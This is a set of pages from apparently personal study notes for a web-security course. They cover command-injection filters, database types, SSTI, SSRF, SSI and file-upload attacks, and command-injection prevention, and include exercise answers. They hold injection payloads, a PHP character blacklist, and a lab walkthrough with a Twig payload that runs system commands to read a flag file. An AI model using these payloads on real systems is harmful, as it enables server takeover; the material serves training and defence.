Let us start by visiting the web application in the exercise at the end of this section. We see the same `Host Checker` web application we have been exploiting, but now it has a few mitigations up its sleeve. We can see that if we try the previous operators we tested, like (`;`, `&&`, `||`), we get the error message `invalid input`:

This indicates that something we sent triggered a security mechanism in place that denied our request. This error message can be displayed in various ways. In this case, we see it in the field where the output is displayed, meaning that it was detected and prevented by the `PHP` web application itself. `If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF`.
Let us check the payload we sent:
Code: bash
Other than the IP (which we know is not blacklisted), we sent:
1. A semi-colon character `;`
2. A space character
3. A `whoami` command
So, the web application either `detected a blacklisted character` or `detected a blacklisted command`, or both. So, let us see how to bypass each.
* * *
### Blacklisted Characters[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#blacklisted-characters)
A web application may have a list of blacklisted characters, and if the command contains them, it would deny the request. The `PHP` code may look something like the following:
Code: php
If any character in the string we sent matches a character in the blacklist, our request is denied. Before we start our attempts at bypassing the filter, we should try to identify which character caused the denied request.
* * *
### Identifying Blacklisted Character[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#identifying-blacklisted-character)
Let us reduce our request to one character at a time and see when it gets blocked. We know that the (`127.0.0.1`) payload does work, so let us start by adding the semi-colon (`127.0.0.1;`):

We still get an `invalid input`, error meaning that a semi-colon is blacklisted. So, let's see if all of the injection operators we discussed previously are blacklisted
Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#try-all-other-injection-operators-to-see-if-any-of-them-is-not-blacklisted.-which-of-new-line-and-or)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

New Line `\n` `%0a`
Answer: \\n
[PreviousFilter Evasion](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion)
[NextBypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters)
Last updated 1 year ago
* [Filter/WAF Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#filter-waf-detection)
* [Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#blacklisted-characters)
* [Identifying Blacklisted Character](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#identifying-blacklisted-character)
* [Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#try-all-other-injection-operators-to-see-if-any-of-them-is-not-blacklisted.-which-of-new-line-and-or)
Copy
127.0.0.1; whoami
Copy
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}
---
# Types of Databases | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases.md)
.
* * *
Databases, in general, are categorized into `Relational Databases` and `Non-Relational Databases`. Only Relational Databases utilize SQL, while Non-Relational databases utilize a variety of methods for communications.
* * *
### Relational Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#relational-databases)
A relational database is the most common type of database. It uses a schema, a template, to dictate the data structure stored in the database. For example, we can imagine a company that sells products to its customers having some form of stored knowledge about where those products go, to whom, and in what quantity. However, this is often done in the back-end and without obvious informing in the front-end. Different types of relational databases can be used for each approach. For example, the first table can store and display basic customer information, the second the number of products sold and their cost, and the third table to enumerate who bought those products and with what payment data.
Tables in a relational database are associated with keys that provide a quick database summary or access to the specific row or column when specific data needs to be reviewed. These tables, also called entities, are all related to each other. For example, the customer information table can provide each customer with a specific ID that can indicate everything we need to know about that customer, such as an address, name, and contact information. Also, the product description table can assign a specific ID to each product. The table that stores all orders would only need to record these IDs and their quantity. Any change in these tables will affect all of them but predictably and systematically.
However, when processing an integrated database, a concept is required to link one table to another using its key, called a `relational database management system` (`RDBMS`). Many companies that initially use different concepts are switching to the RDBMS concept because this concept is easy to learn, use and understand. Initially, this concept was used only by large companies. However, many types of databases now implement the RDBMS concept, such as Microsoft Access, MySQL, SQL Server, Oracle, PostgreSQL, and many others.
For example, we can have a `users` table in a relational database containing columns like `id`, `username`, `first_name`, `last_name`, and others. The `id` can be used as the table key. Another table, `posts`, may contain posts made by all users, with columns like `id`, `user_id`, `date`, `content`, and so on.

HTML Example
We can link the `id` from the `users` table to the `user_id` in the `posts` table to retrieve the user details for each post without storing all user details with each post. A table can have more than one key, as another column can be used as a key to link with another table. So, for example, the `id` column can be used as a key to link the `posts` table to another table containing comments, each of which belongs to a particular post, and so on.
The relationship between tables within a database is called a Schema.
This way, by using relational databases, it becomes rapid and easy to retrieve all data about a particular element from all databases. So, for example, we can retrieve all details linked to a specific user from all tables with a single query. This makes relational databases very fast and reliable for big datasets with clear structure and design and efficient data management. The most common example of relational databases is `MySQL`, which we will be covering in this module.
* * *
### Non-relational Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#non-relational-databases)
A non-relational database (also called a `NoSQL` database) does not use tables, rows, and columns or prime keys, relationships, or schemas. Instead, a NoSQL database stores data using various storage models, depending on the type of data stored. Due to the lack of a defined structure for the database, NoSQL databases are very scalable and flexible. Therefore, when dealing with datasets that are not very well defined and structured, a NoSQL database would be the best choice for storing such data. There are four common storage models for NoSQL databases:
* Key-Value
* Document-Based
* Wide-Column
* Graph
Each of the above models has a different way of storing data. For example, the `Key-Value` model usually stores data in JSON or XML, and have a key for each pair, and stores all of its data as its value: 
The above example can be represented using JSON as:
Code: json
It looks similar to a dictionary item in languages like `Python` or `PHP` (i.e. `{'key':'value'}`), where the `key` is usually a string, and the `value` can be a string, dictionary, or any class object.
The most common example of a NoSQL database is `MongoDB`.
Non-relational Databases have a different method for injection, known as NoSQL injections. SQL injections are completely different than NoSQL injections. NoSQL injections will be covered in a later module.
[Previous](https://academy.hackthebox.com/module/33/section/178)
[PreviousDatabases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases)
[NextMySQL](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mysql)
Last updated 1 year ago
* [Relational Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#relational-databases)
* [Non-relational Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#non-relational-databases)
Copy
{
"100001": {
"date": "01-01-2021",
"content": "Welcome to this web application."
},
"100002": {
"date": "02-01-2021",
"content": "This is the first post on this web app."
},
"100003": {
"date": "02-01-2021",
"content": "Reminder: Tomorrow is the ..."
}
}
---
# SSTI | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti.md)
.
As the name suggests, Server-side Template Injection (SSTI) occurs when an attacker can inject templating code into a template that is later rendered by the server. If an attacker injects malicious code, the server potentially executes the code during the rendering process, enabling an attacker to take over the server completely.
* * *
### Server-side Template Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti#server-side-template-injection)
As we have seen in the previous section, the rendering of templates inherently deals with dynamic values provided to the template engine during rendering. Often, these dynamic values are provided by the user. However, template engines can deal with user input securely if provided as values to the rendering function. That is because template engines insert the values into the corresponding places in the template and do not run any code within the values. On the other hand, SSTI occurs when an attacker can control the template parameter, as template engines run the code provided in the template.
If templating is implemented correctly, user input is always provided to the rendering function in values and never in the template string. However, SSTI can occur when user input is inserted into the template **before** the rendering function is called on the template. A different instance would be if a web application calls the rendering function on the same template multiple times. If user input is inserted into the output of the first rendering process, it would be considered part of the template string in the second rendering process, potentially resulting in SSTI. Lastly, web applications enabling users to modify or submit existing templates result in an obvious SSTI vulnerability.
[PreviousPreventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf)
[NextTemplate Engines](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines)
Last updated 10 months ago
---
# Other Upload Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks.md)
.
[Limited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads)
[Other Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks)
[PreviousType Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters)
[NextLimited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads)
Last updated 9 months ago
---
# SSRF | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf.md)
.
Introduction to SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#introduction-to-ssrf)
---------------------------------------------------------------------------------------------------------------
* * *
[SSRF](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)
vulnerabilities are part of OWASPs Top 10. This type of vulnerability occurs when a web application fetches additional resources from a remote location based on user-supplied data, such as a URL.
* * *
### Server-side Request Forgery[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#server-side-request-forgery)
Suppose a web server fetches remote resources based on user input. In that case, an attacker might be able to coerce the server into making requests to arbitrary URLs supplied by the attacker, i.e., the web server is vulnerable to SSRF. While this might not sound particularly bad at first, depending on the web application's configuration, SSRF vulnerabilities can have devastating consequences, as we will see in the upcoming sections.
Furthermore, if the web application relies on a user-supplied URL scheme or protocol, an attacker might be able to cause even further undesired behavior by manipulating the URL scheme. For instance, the following URL schemes are commonly used in the exploitation of SSRF vulnerabilities:
* `http://` and `https://`: These URL schemes fetch content via HTTP/S requests. An attacker might use this in the exploitation of SSRF vulnerabilities to bypass WAFs, access restricted endpoints, or access endpoints in the internal network
* `file://`: This URL scheme reads a file from the local file system. An attacker might use this in the exploitation of SSRF vulnerabilities to read local files on the web server (LFI)
* `gopher://`: This protocol can send arbitrary bytes to the specified address. An attacker might use this in the exploitation of SSRF vulnerabilities to send HTTP POST requests with arbitrary payloads or communicate with other services such as SMTP servers or databases
For more details on advanced SSRF exploitation techniques, such as filter bypasses and DNS rebinding, check out the [Modern Web Exploitation Techniques](https://academy.hackthebox.com/module/details/231)
module.
[PreviousIntroduction](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction)
[NextIdentifying SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf)
Last updated 10 months ago
* [Introduction to SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#introduction-to-ssrf)
* [Server-side Request Forgery](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#server-side-request-forgery)
---
# Identifying SSTI | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti.md)
.
Identifying SSTI[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-ssti)
------------------------------------------------------------------------------------------------------------------------
* * *
Before exploiting an SSTI vulnerability, it is essential to successfully confirm that the vulnerability is present. Furthermore, we need to identify the template engine the target web application uses, as the exploitation process highly depends on the concrete template engine in use. That is because each template engine uses a slightly different syntax and supports different functions we can use for exploitation purposes.
* * *
### Confirming SSTI[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#confirming-ssti)
The process of identifying an SSTI vulnerability is similar to the process of identifying any other injection vulnerability, such as SQL injection. The most effective way is to inject special characters with semantic meaning in template engines and observe the web application's behavior. As such, the following test string is commonly used to provoke an error message in a web application vulnerable to SSTI, as it consists of all special characters that have a particular semantic purpose in popular template engines:
Copy
${{<%[%'"}}%\.\
\
Since the above test string should almost certainly violate the template syntax, it should result in an error if the web application is vulnerable to SSTI. This behavior is similar to how injecting a single quote (`'`) into a web application vulnerable to SQL injection can break an SQL query's syntax and thus result in an SQL error.\
\
As a practical example, let us look at our sample web application. We can insert a name, which is then reflected on the following page:\
\
arrow-circle-left redo homearrow-circle-left redo home\
\
\
\
\
\
To test for an SSTI vulnerability, we can inject the above test string. This results in the following response from the web application:\
\
arrow-circle-left redo home\
\
\
\
As we can see, the web application throws an error. While this does not confirm that the web application is vulnerable to SSTI, it should increase our suspicion that the parameter might be vulnerable.\
\
* * *\
\
### Identifying the Template Engine[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-the-template-engine)\
\
To enable the successful exploitation of an SSTI vulnerability, we first need to determine the template engine used by the web application. We can utilize slight variations in the behavior of different template engines to achieve this. For instance, consider the following commonly used overview containing slight differences in popular template engines:\
\
\
\
The image is a flowchart showing different template injection payloads and their outcomes.\
\
We will start by injecting the payload `${7*7}` and follow the diagram from left to right, depending on the result of the injection. Suppose the injection resulted in a successful execution of the injected payload. In that case, we follow the green arrow; otherwise, we follow the red arrow until we arrive at a resulting template engine.\
\
Injecting the payload `${7*7}` into our sample web application results in the following behavior:\
\
arrow-circle-left redo home\
\
\
\
Since the injected payload was not executed, we follow the red arrow and now inject the payload `{{7*7}}`:\
\
arrow-circle-left redo home\
\
\
\
This time, the payload was executed by the template engine. Therefore, we follow the green arrow and inject the payload `{{7*'7'}}`. The result will enable us to deduce the template engine used by the web application. In Jinja, the result will be `7777777`, while in Twig, the result will be `49`.\
\
### Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#apply-what-you-learned-in-this-section-and-identify-the-template-engine-used-by-the-web-application)\
\
A: Twig\
\
[PreviousTemplate Engines](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines)\
[NextExploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2)\
\
Last updated 10 months ago\
\
* [Identifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-ssti)\
\
* [Confirming SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#confirming-ssti)\
\
* [Identifying the Template Engine](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-the-template-engine)\
\
* [Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#apply-what-you-learned-in-this-section-and-identify-the-template-engine-used-by-the-web-application)
---
# Preventing SSI Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection.md)
.
Preventing SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#preventing-ssi-injection)
---------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
As we have seen, improper implementation of SSI can result in web vulnerabilities. SSI injection can result in devastating consequences, including remote code execution and, thus, takeover of the web server. To prevent SSI injection, a web application using SSI must implement appropriate security measures.
* * *
### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#prevention)
As with any injection vulnerability, developers must carefully validate and sanitize user input to prevent SSI injection. This is particularly important when the user input is used within SSI directives or written to files that may contain SSI directives according to the web server configuration. Additionally, it is vital to configure the webserver to restrict the use of SSI to particular file extensions and potentially even particular directories. On top of that, the capabilities of specific SSI directives can be limited to help mitigate the impact of SSI injection vulnerabilities. For instance, it might be possible to turn off the `exec` directive if it is not actively required.
[PreviousExploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection)
[NextXSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection)
Last updated 10 months ago
* [Preventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#preventing-ssi-injection)
* [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#prevention)
---
# Intro to File Upload Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks.md)
.
Intro to File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#intro-to-file-upload-attacks)
-------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Uploading user files has become a key feature for most modern web applications to allow the extensibility of web applications with user information. A social media website allows the upload of user profile images and other social media, while a corporate website may allow users to upload PDFs and other documents for corporate use.
However, as web application developers enable this feature, they also take the risk of allowing end-users to store their potentially malicious data on the web application's back-end server. If the user input and uploaded files are not correctly filtered and validated, attackers may be able to exploit the file upload feature to perform malicious activities, like executing arbitrary commands on the back-end server to take control over it.
File upload vulnerabilities are amongst the most common vulnerabilities found in web and mobile applications, as we can see in the latest [CVE Reports](https://www.cvedetails.com/vulnerability-list/cweid-434/vulnerabilities.html)
. We will also notice that most of these vulnerabilities are scored as `High` or `Critical` vulnerabilities, showing the level of risk caused by insecure file upload.
* * *
### Types of File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#types-of-file-upload-attacks)
The most common reason behind file upload vulnerabilities is weak file validation and verification, which may not be well secured to prevent unwanted file types or could be missing altogether. The worst possible kind of file upload vulnerability is an `unauthenticated arbitrary file upload` vulnerability. With this type of vulnerability, a web application allows any unauthenticated user to upload any file type, making it one step away from allowing any user to execute code on the back-end server.
Many web developers employ various types of tests to validate the extension or content of the uploaded file. However, as we will see in this module, if these filters are not secure, we may be able to bypass them and still reach arbitrary file uploads to perform our attacks.
The most common and critical attack caused by arbitrary file uploads is `gaining remote command execution` over the back-end server by uploading a web shell or uploading a script that sends a reverse shell. A web shell, as we will discuss in the next section, allows us to execute any command we specify and can be turned into an interactive shell to enumerate the system easily and further exploit the network. It may also be possible to upload a script that sends a reverse shell to a listener on our machine and then interact with the remote server that way.
In some cases, we may not have arbitrary file uploads and may only be able to upload a specific file type. Even in these cases, there are various attacks we may be able to perform to exploit the file upload functionality if certain security protections were missing from the web application.
Examples of these attacks include:
* Introducing other vulnerabilities like `XSS` or `XXE`.
* Causing a `Denial of Service (DoS)` on the back-end server.
* Overwriting critical system files and configurations.
* And many others.
Finally, a file upload vulnerability is not only caused by writing insecure functions but is also often caused by the use of outdated libraries that may be vulnerable to these attacks. At the end of the module, we will go through various tips and practices to secure our web applications against the most common types of file upload attacks, in addition to further recommendations to prevent file upload vulnerabilities that we may miss.
[PreviousExam Style Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up)
[NextBasic Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation)
Last updated 9 months ago
* [Intro to File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#intro-to-file-upload-attacks)
* [Types of File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#types-of-file-upload-attacks)
---
# Rewalk | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk.md)
.
Server-Side Attacks - Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#server-side-attacks-skills-assessment)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#question-1)
#### "Obtain the flag"[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#obtain-the-flag)
Students need to turn on Burp Suite, then browse to `http://STMIP:STMPO`, intercept the request and send it to Repeater (to more easily visualize the request and response):

Server-Side\_Attacks\_Walkthrough\_Image\_21.png
Students will notice inline Javascript, designed to retrieve the location of trucks identified by the IDs `"FusionExpress01"`, `"FusionExpress02"`, and `"FusionExpress03".` By looping through each, it creates a new `XMLHttpRequest` object is created. used to send HTTP requests and handle responses.
More specifically, a synchronous POST request is sent to the server's root endpoint (`'/'`) for each truck ID in the list. The server is expected to return the current location of each truck in JSON format. The script then updates the HTML element corresponding to each truck ID with either the truck's location or an error message if the location cannot be fetched.
In BurpSuite, students need to return to `Proxy` (where the initial request was captured) and forward the initial request. The subsequent request is a POST request to the `api=http://truckapi.htb/?id%3DFusionExpress01` endpoint:

Server-Side\_Attacks\_Walkthrough\_Image\_22.png
Students need to send this request to Repeater as well, and then forward it to evaluate the response:

Server-Side\_Attacks\_Walkthrough\_Image\_23.png
The query sent in the body of the POST request, `api=http://truckapi.htb/?id%3DFusionExpress01`, returns the ID of the truck, as well as the location, in JSON format.
Code: shell
From here, students need to test for possible server-side template injection vulnerabilities. By modifying the query with the payload `{{7*7}}`, students will confirm the server is using `Twig` as its templating engine:
Code: shell
Code: http
With the knowledge that we are now working with `Twig`, students need to look for a way to read local files, or achieve outright remote code execution (which will then be used to read the flag.)
Therefore, students need to use the PHP built-in function `system` and pass an argument to it via Twig's `filter` function, ultimately reading the contents of the flag:
Code: twig
Additionally, students need to URL encode spaces and the pipe character, making the final payload appear as follows:
Code: shell

Server-Side\_Attacks\_Walkthrough\_Image\_24.png
Answer: {hidden}
[PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment)
[NextIntro](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro)
Last updated 8 months ago
* [Server-Side Attacks - Skills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#server-side-attacks-skills-assessment)
* [Question 1](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#question-1)
Copy
{"id": "FusionExpress01", "location": "321 Maple Lane"}
Copy
api=http://truckapi.htb/?id%3D{{7*7}}
Copy
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2024 22:47:55 GMT
Server: Apache/2.4.59 (Debian)
Content-Length: 43
Connection: close
Content-Type: text/html; charset=UTF-8
{"id": "49", "location": "134 Main Street"}
Copy
{{ ['cat /flag.txt'] | filter('system') }}
Copy
api=http://truckapi.htb/?id%3D{{%2b['cat%2b/flag.txt']%2b%7C%2bfilter('system')%2b}}
---
# Command Injection Prevention | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention.md)
.
Command Injection Prevention[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#command-injection-prevention)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
We should now have a solid understanding of how command injection vulnerabilities occur and how certain mitigations like character and command filters may be bypassed. This section will discuss methods we can use to prevent command injection vulnerabilities in our web applications and properly configure the webserver to prevent them.
* * *
### System Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#system-commands)
We should always avoid using functions that execute system commands, especially if we are using user input with them. Even when we are not directly inputting user input into these functions, a user may be able to indirectly influence them, which may eventually lead to a command injection vulnerability.
Instead of using system command execution functions, we should use built-in functions that perform the needed functionality, as back-end languages usually have secure implementations of these types of functionalities. For example, suppose we wanted to test whether a particular host is alive with `PHP`. In that case, we may use the `fsockopen` function instead, which should not be exploitable to execute arbitrary system commands.
If we needed to execute a system command, and no built-in function can be found to perform the same functionality, we should never directly use the user input with these functions but should always validate and sanitize the user input on the back-end. Furthermore, we should try to limit our use of these types of functions as much as possible and only use them when there's no built-in alternative to the functionality we require.
* * *
### Input Validation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-validation)
Whether using built-in functions or system command execution functions, we should always validate and then sanitize the user input. Input validation is done to ensure it matches the expected format for the input, such that the request is denied if it does not match. In our example web application, we saw that there was an attempt at input validation on the front-end, but `input validation should be done both on the front-end and on the back-end`.
In `PHP`, like many other web development languages, there are built in filters for a variety of standard formats, like emails, URLs, and even IPs, which can be used with the `filter_var` function, as follows:
Code: php
Copy
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
// call function
} else {
// deny request
}
If we wanted to validate a different non-standard format, then we can use a Regular Expression `regex` with the `preg_match` function. The same can be achieved with `JavaScript` for both the front-end and back-end (i.e. `NodeJS`), as follows:
Code: javascript
Just like `PHP`, with `NodeJS`, we can also use libraries to validate various standard formats, like [is-ip](https://www.npmjs.com/package/is-ip)
for example, which we can install with `npm`, and then use the `isIp(ip)` function in our code. You can read the manuals of other languages, like [.NET](https://learn.microsoft.com/en-us/aspnet/web-pages/overview/ui-layouts-and-themes/validating-user-input-in-aspnet-web-pages-sites)
or [Java](https://docs.oracle.com/cd/E13226_01/workshop/docs81/doc/en/workshop/guide/netui/guide/conValidatingUserInput.html?skipReload=true)
, to find out how to validate user input on each respective language.
* * *
### Input Sanitization[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-sanitization)
The most critical part for preventing any injection vulnerability is input sanitization, which means removing any non-necessary special characters from the user input. Input sanitization is always performed after input validation. Even after we validated that the provided user input is in the proper format, we should still perform sanitization and remove any special characters not required for the specific format, as there are cases where input validation may fail (e.g., a bad regex).
In our example code, we saw that when we were dealing with character and command filters, it was blacklisting certain words and looking for them in the user input. Generally, this is not a good enough approach to preventing injections, and we should use built-in functions to remove any special characters. We can use `preg_replace` to remove any special characters from the user input, as follows:
Code: php
As we can see, the above regex only allows alphanumerical characters (`A-Za-z0-9`) and allows a dot character (`.`) as required for IPs. Any other characters will be removed from the string. The same can be done with `JavaScript`, as follows:
Code: javascript
We can also use the DOMPurify library for a `NodeJS` back-end, as follows:
Code: javascript
In certain cases, we may want to allow all special characters (e.g., user comments), then we can use the same `filter_var` function we used with input validation, and use the `escapeshellcmd` filter to escape any special characters, so they cannot cause any injections. For `NodeJS`, we can simply use the `escape(ip)` function. `However, as we have seen in this module, escaping special characters is usually not considered a secure practice, as it can often be bypassed through various techniques`.
For more on user input validation and sanitization to prevent command injections, you may refer to the [Secure Coding 101: JavaScript](https://academy.hackthebox.com/course/preview/secure-coding-101-javascript)
module, which covers how to audit the source code of a web application to identify command injection vulnerabilities, and then works on properly patching these types of vulnerabilities.
* * *
### Server Configuration[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#server-configuration)
Finally, we should make sure that our back-end server is securely configured to reduce the impact in the event that the webserver is compromised. Some of the configurations we may implement are:
* Use the web server's built-in Web Application Firewall (e.g., in Apache `mod_security`), in addition to an external WAF (e.g. `Cloudflare`, `Fortinet`, `Imperva`..)
* Abide by the [Principle of Least Privilege (PoLP)](https://en.wikipedia.org/wiki/Principle_of_least_privilege)
by running the web server as a low privileged user (e.g. `www-data`)
* Prevent certain functions from being executed by the web server (e.g., in PHP `disable_functions=system,...`)
* Limit the scope accessible by the web application to its folder (e.g. in PHP `open_basedir = '/var/www/html'`)
* Reject double-encoded requests and non-ASCII characters in URLs
* Avoid the use of sensitive/outdated libraries and modules (e.g. [PHP CGI](https://www.php.net/manual/en/install.unix.commandline.php)
)
In the end, even after all of these security mitigations and configurations, we have to perform the penetration testing techniques we learned in this module to see if any web application functionality may still be vulnerable to command injection. As some web applications have millions of lines of code, any single mistake in any line of code may be enough to introduce a vulnerability. So we must try to secure the web application by complementing secure coding best practices with thorough penetration testing.
[PreviousPrevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention)
[NextSkills Assesment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment)
Last updated 1 year ago
* [Command Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#command-injection-prevention)
* [System Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#system-commands)
* [Input Validation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-validation)
